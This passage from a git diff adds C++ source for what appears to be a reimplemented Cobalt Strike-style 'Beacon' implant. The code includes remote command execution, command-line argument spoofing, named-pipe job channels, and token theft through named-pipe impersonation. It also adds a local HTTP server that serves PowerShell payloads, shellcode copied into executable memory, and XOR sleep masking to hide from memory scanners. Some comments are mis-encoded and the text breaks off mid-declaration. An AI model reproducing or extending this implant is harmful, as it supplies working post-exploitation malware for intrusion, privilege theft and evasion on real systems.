+void BeaconRunCommand(char* Taskdata, int Taskdata_size) +{ + datap* pdatap = BeaconDataInit(0x8000u); + char* envpath = BeaconDataPtr(pdatap, 0x2000); + char* exepath = BeaconDataPtr(pdatap, 0x2000); + char* arg = BeaconDataPtr(pdatap, 0x2000); + char* Command = (char*)BeaconDataPtr(pdatap, 0x2000); + + datap taskdatap; + BeaconDataParse(&taskdatap, Taskdata, Taskdata_size); + BeaconDataCopyToBuffer(&taskdatap, envpath, 0x2000); + BeaconDataCopyToBuffer(&taskdatap, arg, 0x2000); + int redirect = BeaconDataShort(&taskdatap); + BeaconExpandEnvironmentStringsA(envpath, exepath, 0x2000u); + strncat_s(Command, 0x2000u, exepath, 0x2000u); + strncat_s(Command, 0x2000u, arg, 0x2000u); + PVOID OldValue; + if ((redirect & 1) != 0) + { + BeaconWow64DisableWow64FsRedirection(&OldValue); + ExecuteCommand(Command, strlen(Command) + 1); + BeaconWow64RevertWow64FsRedirection(OldValue); + } + else + { + ExecuteCommand(Command, strlen(Command) + 1); + } + BeaconDataClearFree(pdatap); +} + + + + + +//************************************ +// Method: AddSpoofArgs +// FullName: AddSpoofArgs +// Access: public +// Returns: BeaconSpoofArgs* +// Qualifier:gBeaconParameterSpoofingǷͬƭ +// Parameter: const char * buffer +//************************************ +BeaconSpoofArgs* AddSpoofArgs(const char* buffer) +{ + + BeaconSpoofArgs* oldgBeaconParameterSpoofing = gBeaconParameterSpoofing; + BeaconSpoofArgs* pgBeaconParameterSpoofing = gBeaconParameterSpoofing; + if (pgBeaconParameterSpoofing) + { + while (pgBeaconParameterSpoofing->state != 1 || strcmp(buffer, pgBeaconParameterSpoofing->cmd1)) + { + pgBeaconParameterSpoofing = pgBeaconParameterSpoofing->Linked; + if (!pgBeaconParameterSpoofing) + { + BeaconSpoofArgs* temp = (BeaconSpoofArgs*)malloc(0x4008u); + memset(temp, 0, sizeof(BeaconSpoofArgs)); + temp->state = 0; + temp->Linked = oldgBeaconParameterSpoofing; + gBeaconParameterSpoofing = temp; + return temp; + } + } + } + else + { + BeaconSpoofArgs* temp = (BeaconSpoofArgs*)malloc(0x4008u); + memset(temp, 0, sizeof(BeaconSpoofArgs)); + temp->state = 0; + temp->Linked = oldgBeaconParameterSpoofing; + gBeaconParameterSpoofing = temp; + return temp; + } +} + +void BeaconSpoofArgsAdd(char* Taskdata, int Taskdata_size) +{ + + datap* pdatap = BeaconDataInit(0x6000u); + char* envpath = BeaconDataPtr(pdatap, 0x2000); + char* processpath = BeaconDataPtr(pdatap, 0x2000); + char* arg = BeaconDataPtr(pdatap, 0x2000); + + datap taskdatap; + BeaconDataParse(&taskdatap, Taskdata, Taskdata_size); + BeaconDataCopyToBuffer(&taskdatap, envpath, 0x2000); + BeaconExpandEnvironmentStringsA(envpath, processpath, 0x2000u); + BeaconDataCopyToBuffer(&taskdatap, arg, 0x2000); + BeaconSpoofArgs* pBeaconSpoofArgs = AddSpoofArgs(processpath); + pBeaconSpoofArgs->state = 1; + BeaconExpandEnvironmentStringsA(envpath, pBeaconSpoofArgs->cmd1, 0x2000u); + BeaconExpandEnvironmentStringsA(arg, pBeaconSpoofArgs->cmd2, 0x2000u); + BeaconDataClearFree(pdatap); +} + +void SpoofArgsRemove(char* Taskdata, int Taskdata_size) +{ + BeaconSpoofArgs* pgBeaconParameterSpoofing = gBeaconParameterSpoofing; + char* buffer = (char*)malloc(0x2000u); + Taskdata[Taskdata_size] = 0; + BeaconExpandEnvironmentStringsA(Taskdata, buffer, 0x2000u); + while (pgBeaconParameterSpoofing) + { + if (pgBeaconParameterSpoofing->state == 1 && !strcmp(pgBeaconParameterSpoofing->cmd1, buffer)) + { + pgBeaconParameterSpoofing->state = 0; + memset(pgBeaconParameterSpoofing->cmd1, 0, sizeof(pgBeaconParameterSpoofing->cmd1)); + memset(pgBeaconParameterSpoofing->cmd2, 0, sizeof(pgBeaconParameterSpoofing->cmd2)); + } + pgBeaconParameterSpoofing = pgBeaconParameterSpoofing->Linked; + } + memset(buffer, 0, 0x2000u); + free(buffer); +} + +void SpoofArgsList() +{ + formatp pformatp; + BeaconFormatAlloc(&pformatp, 0x8000u); + BeaconSpoofArgs* pgBeaconParameterSpoofing = gBeaconParameterSpoofing; + while (pgBeaconParameterSpoofing) + { + if (pgBeaconParameterSpoofing->state == 1) + { + BeaconFormatPrintf(&pformatp, (char*)"%s\n", pgBeaconParameterSpoofing->cmd2); + } + pgBeaconParameterSpoofing = pgBeaconParameterSpoofing->Linked; + } + int length = BeaconFormatlength(&pformatp); + char* buffer = BeaconFormatOriginalPtr(&pformatp); + BeaconTaskOutput(buffer, length, 0); + BeaconFormatFree(&pformatp); +} \ No newline at end of file diff --git a/ReBeacon_Src/BeaconInject.h b/ReBeacon_Src/BeaconInject.h new file mode 100644 index 0000000..7f379c2 --- /dev/null +++ b/ReBeacon_Src/BeaconInject.h @@ -0,0 +1,30 @@ +#pragma once +#include "Global.h" +#include "Utils.h" +#include "comm.h" +#include "common.h" + +int __cdecl sub_10003687(BeaconStartProcess* pBeaconStartProcess); + +void ProcessInject(int pid, PROCESS_INFORMATION* pi, HANDLE hProcess, char* payload, size_t p_len, int p_offset, char* arg, int a_len); + +int BeaconExecuteCommand(char* path, int path_size, STARTUPINFOA* sInfo, PROCESS_INFORMATION* pInfo, int Flag, int ignoreToken); + +void BeaconSpawnX86(BOOL ignoreToken, char* data, size_t Size, BOOL x86); + +void BeaconReflectiveDLLInject(char* Taskdata, int Taskdata_size, int x86); + +int BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFOA* sInfo, PROCESS_INFORMATION* pInfo); + +int BeaconCreateProcess(char* path, int path_size, _STARTUPINFOA* sInfo, PROCESS_INFORMATION* pInfo, int dwCreationFlags, int ignoreToken, int PPID); + +void BeaconRunCommand(char* Taskdata, int Taskdata_size); + +void BeaconSpoofArgsAdd(char* Taskdata, int Taskdata_size); + +void SpoofArgsRemove(char* Taskdata, int Taskdata_size); + +void SpoofArgsList(); + +void getspawntopath(char* path_buffer, BOOL x86); + diff --git a/ReBeacon_Src/BeaconJob.cpp b/ReBeacon_Src/BeaconJob.cpp new file mode 100644 index 0000000..da010e9 --- /dev/null +++ b/ReBeacon_Src/BeaconJob.cpp @@ -0,0 +1,346 @@ +#include "BeaconJob.h" +#include "ChildBeacon.h" + + +int g_job_Number; +BeaconJob* gBeaconJob; +BOOL ConnectPipe(int dwFlagsAndAttributes, HANDLE* hNamedPipe, LPCSTR lpNamedPipeName) +{ + HANDLE i; + DWORD Mode; + dwFlagsAndAttributes = dwFlagsAndAttributes | 0x100000; + for (i = CreateFileA(lpNamedPipeName, GENERIC_READ | GENERIC_WRITE, 0, 0, 3u, dwFlagsAndAttributes | 0x100000, 0); + ; + i = CreateFileA(lpNamedPipeName, GENERIC_READ | GENERIC_WRITE, 0, 0, 3u, dwFlagsAndAttributes, 0)) + { + *hNamedPipe = i; + if (i != (HANDLE)-1) + { + break; + } + if (GetLastError() != 231) + { + return 0; + } + if (!WaitNamedPipeA(lpNamedPipeName, 0x2710)) + { + SetLastError(0x102); + return 0; + } + } + Mode = 0; + if (SetNamedPipeHandleState(*hNamedPipe, &Mode, 0, 0)) + { + return 1; + } + DisconnectNamedPipe(*hNamedPipe); + CloseHandle(*hNamedPipe); + return 0; +} + + +//************************************ +// Method: ConnectJobPipe +// FullName: ConnectJobPipe +// Access: public +// Returns: BOOL +// Qualifier:ӵdllܵ +// Parameter: HANDLE * hNamedPipe +// Parameter: int dwFlagsAndAttributes +// Parameter: CHAR * NamedPipeName +//************************************ +BOOL ConnectJobPipe(HANDLE* hNamedPipe, int dwFlagsAndAttributes, CHAR* NamedPipeName) +{ + if (dwFlagsAndAttributes) + { + return ConnectPipe(dwFlagsAndAttributes, hNamedPipe, NamedPipeName); + } + BOOL ret = ConnectPipe(0, hNamedPipe, NamedPipeName); + if (!ret && GetLastError() == 5) + { + close_token_fake(); + ret = ConnectPipe(0, hNamedPipe, NamedPipeName); + restore_token_fake(); + } + return ret; +} + +void CheckTimeout(HANDLE hNamedPipe, int timeout) +{ + DWORD TotalBytesAvail = 0; + int time = timeout + GetTickCount(); + while (GetTickCount() < time && PeekNamedPipe(hNamedPipe, 0, 0, 0, &TotalBytesAvail, 0) && !TotalBytesAvail) + { + Sleep(500); + } +} + + +void Add_Beacon_Job(BeaconJob* pBeaconJob) +{ + pBeaconJob->JobNumber = g_job_Number; + ++g_job_Number; + BeaconJob* pgBeaconJob = gBeaconJob; + BeaconJob* temp; + if (pgBeaconJob) + { + do + { + temp = pgBeaconJob; + pgBeaconJob = pgBeaconJob->Linked; + } while (pgBeaconJob); + temp->Linked = pBeaconJob; + } + else + { + gBeaconJob = pBeaconJob; + } +} + +void Add_BeaconInternal_Job(HANDLE hNamedPipe, int job_process_pid, int job_type, char* job_name, int lasting) +{ + BeaconJob* psshBeaconJob = (BeaconJob*)malloc(sizeof(BeaconJob)); + psshBeaconJob->hWritePipe = (HANDLE)-1; + psshBeaconJob->Linked = 0; + psshBeaconJob->hReadPipe = hNamedPipe; + psshBeaconJob->state = 1; + psshBeaconJob->kill = 0; + psshBeaconJob->JobProcessPid = job_process_pid; + psshBeaconJob->JobType = job_type; + psshBeaconJob->lasting = lasting; + strncpy(psshBeaconJob->JobName, job_name, JobNameMAX); + Add_Beacon_Job(psshBeaconJob); +} + +void BeaconBackstageJob(int FlagsAndAttributes, char* Taskdata, int Task_size, int lasting) +{ + char job_name[64] = { 0 }; + CHAR NamedPipeName[64] = { 0 }; + HANDLE hNamedPipe; + datap pdatap; + BeaconDataParse(&pdatap, Taskdata, Task_size); + int job_process_pid = BeaconDataInt(&pdatap); + int job_type = BeaconDataShort(&pdatap); + int timeout = BeaconDataShort(&pdatap); + if (BeaconDataCopyToBuffer(&pdatap, NamedPipeName, 64) && BeaconDataCopyToBuffer(&pdatap, job_name, 64)) + { + int dwFlagsAndAttributes = FlagsAndAttributes != 0 ? 0x20000 : 0; + int number = 0; + //ӵjobܵ + while (!ConnectJobPipe(&hNamedPipe, dwFlagsAndAttributes, NamedPipeName)) + { + Sleep(500); + if (++number >= 20) + { + BeaconErrorD(20, GetLastError()); + return; + } + } + if (timeout) + { + CheckTimeout(hNamedPipe, timeout); + } + Add_BeaconInternal_Job(hNamedPipe, job_process_pid, job_type, job_name, lasting); + } +} + +/// +/// Beacon list jobs +/// +void beacon_jobs() +{ + BeaconJob* pBeaconJob = gBeaconJob; + formatp pformatp; + BeaconFormatAlloc(&pformatp, 0x8000); + while (pBeaconJob) + { + BeaconFormatPrintf(&pformatp, (char*)"%d\t%d\t%s\n", pBeaconJob->JobNumber, pBeaconJob->JobProcessPid, pBeaconJob->JobName); + pBeaconJob = pBeaconJob->Linked; + } + int length = BeaconFormatlength(&pformatp); + char* buffer = BeaconFormatOriginalPtr(&pformatp); + BeaconTaskOutput(buffer, length, 0x14); + BeaconFormatFree(&pformatp); +} + +/// +/// beacon jos,ɾֹͣ״̬ +/// +void del_beacon_job() +{ + BeaconJob* pgBeaconJob = gBeaconJob; + if (pgBeaconJob) + { + do + { + if (pgBeaconJob->kill == 1) + { + if (pgBeaconJob->state) + { + if (pgBeaconJob->state == 1) + { + DisconnectNamedPipe(pgBeaconJob->hReadPipe); + CloseHandle(pgBeaconJob->hReadPipe); + } + } + else + { + CloseHandle(pgBeaconJob->pHandle); + CloseHandle(pgBeaconJob->hThread); + CloseHandle(pgBeaconJob->hReadPipe); + CloseHandle(pgBeaconJob->hWritePipe); + } + } + pgBeaconJob = pgBeaconJob->Linked; + } while (pgBeaconJob); + + } + pgBeaconJob = gBeaconJob; + BeaconJob* temp = 0; + while (pgBeaconJob) + { + if (pgBeaconJob->kill == 1) + { + if (temp) + { + temp->Linked = pgBeaconJob->Linked; + free(pgBeaconJob); + pgBeaconJob = pgBeaconJob->Linked; + } + else + { + gBeaconJob = pgBeaconJob->Linked; + BeaconJob* temp1 = gBeaconJob; + free(pgBeaconJob); + pgBeaconJob = temp1; + } + } + else + { + temp = pgBeaconJob; + pgBeaconJob = pgBeaconJob->Linked; + } + } +} + +void beacon_JobKill(char* Taskdata, int Task_size) +{ + BeaconJob* pBeaconJob = gBeaconJob; + datap pdatap; + BeaconDataParse(&pdatap, Taskdata, Task_size); + int jobid = BeaconDataShort(&pdatap); + while (pBeaconJob) + { + if (pBeaconJob->JobNumber == jobid) + { + pBeaconJob->kill = 1; + } + pBeaconJob = pBeaconJob->Linked; + } + del_beacon_job(); +} + +BeaconJob* Add_Beacon_0Job(HANDLE hProcess,HANDLE hThread,int dwProcessId,int dwThreadId,HANDLE hReadPipe,HANDLE hWritePipe,const char* jobname) +{ + BeaconJob* pBeaconJob = (BeaconJob*)malloc(sizeof(BeaconJob)); + pBeaconJob->pHandle = hProcess; + pBeaconJob->hThread = hThread; + pBeaconJob->dwProcessId = dwProcessId; + pBeaconJob->dwThreadId = dwThreadId; + pBeaconJob->Linked = 0; + pBeaconJob->hReadPipe = hReadPipe; + pBeaconJob->hWritePipe = hWritePipe; + pBeaconJob->state = 0; + pBeaconJob->kill = 0; + pBeaconJob->JobType = 0; + pBeaconJob->JobProcessPid = dwProcessId; + pBeaconJob->lasting = 0; + _snprintf(pBeaconJob->JobName, 0x40u, "%s", jobname); + Add_Beacon_Job(pBeaconJob); + return pBeaconJob; +} + +int ReadPipeData(HANDLE hNamedPipe, char* buffer) +{ + DWORD TotalBytesAvail; + if (!PeekNamedPipe(hNamedPipe, 0, 0, 0, &TotalBytesAvail, 0)) + { + return -1; + } + if (!TotalBytesAvail) + { + return 0; + } + int size; + if (RecvSmbData(hNamedPipe,(char*)&size, 4) == 4 && size <= 0x80000) + { + return RecvSmbData(hNamedPipe, buffer, size); + } + return -1; +} +DWORD sub_10005837(HANDLE hNamedPipe, char* lpBuffer) +{ + DWORD NumberOfBytesRead = 0; + DWORD TotalBytesAvail; + int size=0; + while (1) + { + if (!PeekNamedPipe(hNamedPipe, 0, 0, 0, &TotalBytesAvail, 0)) + { + return -1; + } + if (!TotalBytesAvail || size >= 0x80000) + { + break; + } + ReadFile(hNamedPipe, lpBuffer, 0x80000 - size, &NumberOfBytesRead, 0); + size += NumberOfBytesRead; + lpBuffer += NumberOfBytesRead; + } + return NumberOfBytesRead; +} + + +//************************************ +// Method: CheckJobOutput +// FullName: CheckJobOutput +// Access: public +// Returns: void +// Qualifier:jobܵǷ򷵻ظserver +//************************************ +void CheckJobOutput() +{ + BeaconJob* pgBeaconJob = gBeaconJob; + if (pgBeaconJob) + { + char* read_data = (char*)malloc(0x80000u); + int read_size; + do + { + HANDLE hReadPipe = pgBeaconJob->hReadPipe; + if (pgBeaconJob->lasting == 1) + { + read_size = ReadPipeData(hReadPipe, read_data); + } + else + { + read_size = sub_10005837(hReadPipe, read_data); + } + if (read_size > 0) + { + BeaconTaskOutput(read_data, read_size, pgBeaconJob->JobType); + } + if (pgBeaconJob->state == 1 && read_size == -1 || !pgBeaconJob->state && WaitForSingleObject(pgBeaconJob->pHandle, 0) != 0x102) + { + pgBeaconJob->kill = 1; + } + if (pgBeaconJob->lasting != 1 || read_size <= 0) + { + pgBeaconJob = pgBeaconJob->Linked; + } + } while (pgBeaconJob); + memset(read_data, 0, 0x80000); + free(read_data); + del_beacon_job(); + } +} \ No newline at end of file diff --git a/ReBeacon_Src/BeaconJob.h b/ReBeacon_Src/BeaconJob.h new file mode 100644 index 0000000..8f6325b --- /dev/null +++ b/ReBeacon_Src/BeaconJob.h @@ -0,0 +1,44 @@ +#pragma once +#include "Utils.h" +#include "common.h" +#include "comm.h" +#define JobNameMAX 64 + +#pragma pack(1) +struct BeaconJob +{ + int JobNumber; + HANDLE pHandle; + HANDLE hThread; + int dwProcessId; + int dwThreadId; + HANDLE hReadPipe; + HANDLE hWritePipe; + BeaconJob* Linked; + BOOL state; + BOOL kill; + int JobProcessPid; + int JobType; + short lasting; + char JobName[JobNameMAX]; +}; +#pragma pack() + +// +extern int g_job_Number; +extern BeaconJob* gBeaconJob; + + +void BeaconBackstageJob(int FlagsAndAttributes, char* Taskdata, int Task_size, int lasting); + +void CheckTimeout(HANDLE hNamedPipe, int timeout); + +void beacon_jobs(); + +void beacon_JobKill(char* Taskdata, int Task_size); + +BOOL ConnectJobPipe(HANDLE* hNamedPipe, int dwFlagsAndAttributes, CHAR* NamedPipeName); + +BeaconJob* Add_Beacon_0Job(HANDLE hProcess, HANDLE hThread, int dwProcessId, int dwThreadId, HANDLE hReadPipe, HANDLE hWritePipe, const char* jobname); + +void CheckJobOutput(); \ No newline at end of file diff --git a/ReBeacon_Src/BeaconLateralMovement.cpp b/ReBeacon_Src/BeaconLateralMovement.cpp new file mode 100644 index 0000000..14d6dc3 --- /dev/null +++ b/ReBeacon_Src/BeaconLateralMovement.cpp @@ -0,0 +1,375 @@ +#include "BeaconLateralMovement.h" +#include "common.h" + +HANDLE g_hToken; +HANDLE g_hObject; +HANDLE g_hHandle; + +int __stdcall sub_1000A6D3(BeaconBackgroundThreads* pBeaconBackgroundThreads) +{ + ((void(__stdcall*)(void*))pBeaconBackgroundThreads->StartAddress)(pBeaconBackgroundThreads); + pBeaconBackgroundThreads->pVirtualFree(pBeaconBackgroundThreads, 0, MEM_RELEASE); + return 0; +} + +void BeaconNULL1() +{ + return; +} + + + +void* sub_1000520B(size_t shellcodesize, void* shellcode) +{ + + int min_alloc = get_dword(45); + if (shellcodesize > min_alloc) + { + min_alloc = shellcodesize + 1024; + } + int rxw = get_short(43); + PVOID pshellcode = VirtualAlloc(0, min_alloc, 0x3000u, rxw); + if (pshellcode) + { + memcpy(pshellcode, shellcode, shellcodesize); + return CheckMemoryRWX(pshellcode, min_alloc) != 0 ? pshellcode : 0; + } + else + { + BeaconErrorDD(0x1Fu, min_alloc, GetLastError()); + return 0; + } +} + +void sub_1000A6F9() +{ + if (!lpStartAddress) + { + lpStartAddress = sub_1000520B((char*)BeaconNULL1 - (char*)sub_1000A6D3, sub_1000A6D3); + } +} + +HANDLE sub_1000A71D(void* plpStartAddress, void* lpParameter) +{ + + BeaconBackgroundThreads* pBeaconBackgroundThreads; + + pBeaconBackgroundThreads = (BeaconBackgroundThreads*)VirtualAlloc(0, sizeof(BeaconBackgroundThreads), 0x3000u, 4u); + pBeaconBackgroundThreads->StartAddress = plpStartAddress; + pBeaconBackgroundThreads->lpParameter = lpParameter; + pBeaconBackgroundThreads->pVirtualFree = VirtualFree; + sub_1000A6F9(); + if (lpStartAddress) + { + return CreateThread(0, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, pBeaconBackgroundThreads, 0, 0); + } + return (HANDLE)-1; +} + +HANDLE BeaconCreateBackgroundThreads(void* lpStartAddress, void* lpParameter) +{ + ++BackgroundThreadsNumber; + if (get_short(39) == 1) + { + return sub_1000A71D(lpStartAddress, lpParameter); + } + else + { + return CreateThread(0, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpParameter, 0, 0); + } +} + +int sub_10005983(char* pipename, HANDLE* hFile) +{ + return ConnectJobPipe(hFile, 0, pipename); +} + +void NamedPipesSendData(char* Taskdata, int Task_size) +{ + + int timeout = GetTickCount() + 60000; + datap pdatap; + BeaconDataParse(&pdatap, Taskdata, Task_size); + char pipename[132]; + BeaconDataCopyToBuffer(&pdatap, pipename, 128); + char* databuffer = BeaconDataBuffer(&pdatap); + int length = BeaconDataLength(&pdatap); + HANDLE hFile; + int number=0; + while (!sub_10005983(pipename, &hFile)) + { + if (GetLastError() != 53 && GetTickCount() < timeout) + { + Sleep(0x3E8u); + if (++number < 10) + { + continue; + } + } + BeaconTaskError1Output(0x32u, GetLastError(), pipename); + return; + } + DWORD NumberOfBytesWritten; + WriteFile(hFile, &length, 4, &NumberOfBytesWritten, 0); + int writesize = 0; + if (length) + { + do + { + int nNumberOfBytesToWrite = length - writesize; + if (nNumberOfBytesToWrite > 0x2000) + { + nNumberOfBytesToWrite = 0x2000; + } + if (!WriteFile(hFile, &databuffer[writesize], nNumberOfBytesToWrite, &NumberOfBytesWritten, 0)) + { + break; + } + writesize = NumberOfBytesWritten + writesize; + } while (writesize < length); + } + FlushFileBuffers(hFile); + DisconnectNamedPipe(hFile); + CloseHandle(hFile); + Sleep(0x3E8u); +} + + +BeaconMiniHttp* InitMiniHttp(size_t size, SOCKET socket, void* data) +{ + + BeaconMiniHttp* pBeaconMiniHttp = (BeaconMiniHttp*)malloc(sizeof(BeaconMiniHttp)); + pBeaconMiniHttp->socket = socket; + char* payload = (char*)malloc(size); + memcpy(payload, data,size); + pBeaconMiniHttp->payload = payload; + pBeaconMiniHttp->payloadsize = size; + + char* httpheader = (char*)malloc(0x100u); + pBeaconMiniHttp->httpheader = httpheader; + _snprintf( + httpheader, + 0x100, + "HTTP/1.1 200 OK\r\nContent-Type: application/octet-stream\r\nContent-Length: %d\r\n\r\n", + size); + + pBeaconMiniHttp->httpheadersize = strlen(httpheader); + pBeaconMiniHttp->rvcedata = (char*)malloc(0x800u); + return pBeaconMiniHttp; +} + +void BeaconMiniHttpFree(BeaconMiniHttp* pBeaconMiniHttp) +{ + closesocket(pBeaconMiniHttp->socket); + free(pBeaconMiniHttp->payload); + free(pBeaconMiniHttp->rvcedata); + free(pBeaconMiniHttp->httpheader); + free(pBeaconMiniHttp); +} + +unsigned int sub_1000AE98(char* buffer, SOCKET s) +{ + int size = 0; + while (1) + { + int recvsize = recv(s, &buffer[size], 1, 0); + if (recvsize <= 0) + { + return -1; + } + size += recvsize; + if (size >= 2 && buffer[size - 1] == 10 && buffer[size - 2] == 13) + { + break; + } + if (size >= 0x800) + { + return -1; + } + } + buffer[size - 2] = 0; + return size; +} + +void __stdcall StartMiniHttpThread(BeaconMiniHttp* pBeaconMiniHttp) +{ + + SOCKET S = accept(pBeaconMiniHttp->socket, 0, 0); + if (S == -1) + { + BeaconMiniHttpFree(pBeaconMiniHttp); + } + else + { + while (sub_1000AE98(pBeaconMiniHttp->rvcedata, S) > 2) + { + ; + } + send(S, pBeaconMiniHttp->httpheader, pBeaconMiniHttp->httpheadersize, 0); + send(S, pBeaconMiniHttp->payload, pBeaconMiniHttp->payloadsize, 0); + BeaconMiniHttpFree(pBeaconMiniHttp); + closesocket(S); + } + --BackgroundThreadsNumber; +} + +void StartHttpWebDelivery(size_t len, u_short port, char* data) +{ + + sockaddr_in name; + + init_socket_options(); + SOCKET s = socket(2, 1, 0); + if (s == -1) + { + closesocket(0xFFFFFFFF); + } + else + { + name.sin_family = AF_INET; + name.sin_addr.s_addr = inet_addr("127.0.0.1"); + name.sin_port = htons(port); + + if (bind(s, (SOCKADDR *)&name, sizeof(sockaddr_in)) == -1 || listen(s, 120) == -1) + { + closesocket(s); + } + else + { + //һhttp + BeaconMiniHttp* pBeaconMiniHttp = InitMiniHttp(len, s, data); + BeaconCreateBackgroundThreads(StartMiniHttpThread, pBeaconMiniHttp); + } + } +} + +void ScriptCradle(char* Taskdata, int Task_size) +{ + datap pdatap; + BeaconDataParse(&pdatap, Taskdata, Task_size); + short randomPort =BeaconDataShort(&pdatap); + int szie = BeaconDataLength(&pdatap); + char* powershellscript = (char*)BeaconDataBuffer(&pdatap); + return StartHttpWebDelivery(szie, randomPort, powershellscript); +} + + +DWORD __stdcall StartNamedPipeThread() +{ + + char Buffer[128] = {0}; + DWORD NumberOfBytesRead = 0; + while (!ConnectNamedPipe(g_hObject, 0) && GetLastError() != 535) + { + ; + } + if (ReadFile(g_hObject, Buffer, 1u, &NumberOfBytesRead, 0)) + { + if (ImpersonateNamedPipeClient(g_hObject)) + { + if (OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, 0, &g_hToken)) + { + if (g_hObject) + { + DisconnectNamedPipe(g_hObject); + CloseHandle(g_hObject); + } + } + } + } + --BackgroundThreadsNumber; + return 0; +} + +//************************************ +// Method: StartNamedPipeReceiveData +// FullName: StartNamedPipeReceiveData +// Access: public +// Returns: void +// Qualifier:һܵ׼ +// Parameter: char * Taskdata +// Parameter: int Task_size +//************************************ +void StartNamedPipeReceiveData(char* Taskdata, int Task_size) +{ + CHAR Name[260]; + + if (Task_size < 256) + { + memcpy(Name, Taskdata, Task_size); + g_hToken = (HANDLE)-1; + g_hObject = (HANDLE)-1; + g_hHandle = (HANDLE)-1; + Name[Task_size] = 0; + g_hObject = CreateNamedPipeA(Name, 3, 4, 2, 0, 0, 0, 0); + if (g_hObject) + { + g_hHandle = BeaconCreateBackgroundThreads((LPTHREAD_START_ROUTINE)StartNamedPipeThread, 0); + } + } +} + +void ImpersonationToken() +{ + char usersid[0x200] = { 0 }; + + if (g_hHandle != (HANDLE)-1) + { + WaitForSingleObject(g_hHandle, 0x3A98u); + } + if (g_hToken == (HANDLE)-1) + { + BeaconErrorNA(1u); + } + else if (ImpersonateLoggedOnUser(g_hToken)) + { + pTokenHandle = g_hToken; + if (get_user_sid(0x200u, g_hToken, usersid)) + { + BeaconTaskOutput(usersid, strlen(usersid), 0xFu); + } + } + else + { + BeaconErrorD(0xCu, GetLastError()); + } +} + +/// +/// powershellpayload7937 +/// +char* powershellpayload; + +void BeaconPowerShellImport(char* Taskdata, int Task_size) +{ + + if (powershellpayload) + { + free(powershellpayload); + } + powershellpayload = (char*)malloc(Task_size + 1); + memcpy(powershellpayload, Taskdata, Task_size); + powershellpayload[Task_size] = 0; +} + + +//************************************ +// Method: BeaconWebDelivery +// FullName: BeaconWebDelivery +// Access: public +// Returns: void +// Qualifier:ͨһhttpйļ +// Parameter: char * Taskdata +// Parameter: int Task_size +//************************************ +void BeaconWebDelivery(char* Taskdata, int Task_size) +{ + + if (powershellpayload) + { + datap pdatap; + BeaconDataParse(&pdatap, Taskdata, Task_size); + short port = BeaconDataShort(&pdatap); + StartHttpWebDelivery(strlen(powershellpayload), port, powershellpayload); + } +} \ No newline at end of file diff --git a/ReBeacon_Src/BeaconLateralMovement.h b/ReBeacon_Src/BeaconLateralMovement.h new file mode 100644 index 0000000..8ecc9dd --- /dev/null +++ b/ReBeacon_Src/BeaconLateralMovement.h @@ -0,0 +1,39 @@ +#pragma once + +#include "Utils.h" +#include "comm.h" +#include "common.h" +#include "BeaconJob.h" + +extern HANDLE g_hToken; +extern HANDLE g_hObject; +extern HANDLE g_hHandle; + +struct BeaconMiniHttp +{ + SOCKET socket; + int payloadsize; + int httpheadersize; + char* payload; + char* httpheader; + char* rvcedata; +}; + +struct BeaconBackgroundThreads +{ + void* StartAddress; + void* lpParameter; + BOOL(WINAPI * pVirtualFree)(LPVOID,SIZE_T, DWORD); +}; +void NamedPipesSendData(char* Taskdata, int Task_size); + +void ScriptCradle(char* Taskdata, int Task_size); + +void StartNamedPipeReceiveData(char* Taskdata, int Task_size); + +void ImpersonationToken(); + +void BeaconPowerShellImport(char* Taskdata, int Task_size); +void BeaconWebDelivery(char* Taskdata, int Task_size); + +void __cdecl CheckDownload(size_t size); \ No newline at end of file diff --git a/ReBeacon_Src/BeaconSleep.cpp b/ReBeacon_Src/BeaconSleep.cpp new file mode 100644 index 0000000..976118e --- /dev/null +++ b/ReBeacon_Src/BeaconSleep.cpp @@ -0,0 +1,77 @@ +#include "BeaconSleep.h" +SLEEPMASKP* gBeaconSleepMask; +HINSTANCE GetBeaconBase() +{ + return Beacon_Dllbase; +} + +PVOID SleepEncryptlpAddress; +void sub_1000436C() +{ + DWORD flOldProtect; + if (!SleepEncryptlpAddress) + { + int BeaconCode = get_dword(41); + char* Beaconbase = (char*)GetBeaconBase(); + VirtualProtect(Beaconbase + BeaconCode, (char*)sub_10004325 - (char*)BeaconSleepMask, 4, &flOldProtect); + SleepEncryptlpAddress = Beaconbase + BeaconCode; + memcpy(SleepEncryptlpAddress, BeaconSleepMask, (char*)sub_10004325 - (char*)BeaconSleepMask); + VirtualProtect(SleepEncryptlpAddress, (char*)sub_10004325 - (char*)BeaconSleepMask, flOldProtect, &flOldProtect); + gBeaconSleepMask = (SLEEPMASKP*)malloc(sizeof(SLEEPMASKP)); + gBeaconSleepMask->BeaconBase = (char*)GetBeaconBase(); + gBeaconSleepMask->sections = (int*)get_str(42); + random_bytesarray((BYTE*)gBeaconSleepMask->mask, 0xDu); + } +} +void BeaconSleepMask(SLEEPMASKP* parms, pSleep psleep, int time) +{ + int* index = parms->sections; + while (true) + { + int a = index[0]; + int b = index[1]; + if (!a && !b) + { + break; + } + for (; a < b; ++a) + { + parms->BeaconBase[a] ^= parms->mask[a % 13]; + } + } + psleep(time); + index = parms->sections; + while (1) + { + int a = index[0]; + int b = index[1]; + index += 2; + if (!a && !b) + { + break; + } + for (; a < b; ++a) + { + parms->BeaconBase[b] ^= parms->mask[b % 13]; + } + } +} +void sub_10004325() +{ + sub_1000436C(); +} + +void BeaconSleep(DWORD dwMilliseconds) +{ + //Ƿdllʱ + if (get_dword(41) && BackgroundThreadsNumber <= 0) + { + //sub_10004325(); + //((void(__cdecl*)(SLEEPMASKP*, void(__stdcall*)(DWORD), DWORD))SleepEncryptlpAddress)(gBeaconSleepMask, Sleep, dwMilliseconds); + Sleep(dwMilliseconds); + } + else + { + Sleep(dwMilliseconds); + } +} \ No newline at end of file diff --git a/ReBeacon_Src/BeaconSleep.h b/ReBeacon_Src/BeaconSleep.h new file mode 100644 index 0000000..4da71c4 --- /dev/null +++ b/ReBeacon_Src/BeaconSleep.h @@ -0,0 +1,16 @@ +#pragma once +#include "Global.h" +#include "Utils.h" +#include "encrypt_decrypt.h" +struct SLEEPMASKP +{ + char* BeaconBase; + int* sections; + char mask[13]; +}; +extern SLEEPMASKP* gBeaconSleepMask; +typedef void (__stdcall* pSleep)(_In_ DWORD dwMilliseconds); +void sub_1000436C(); +void BeaconSleepMask(SLEEPMASKP* parms, pSleep psleep, int time); +void sub_10004325(); +void 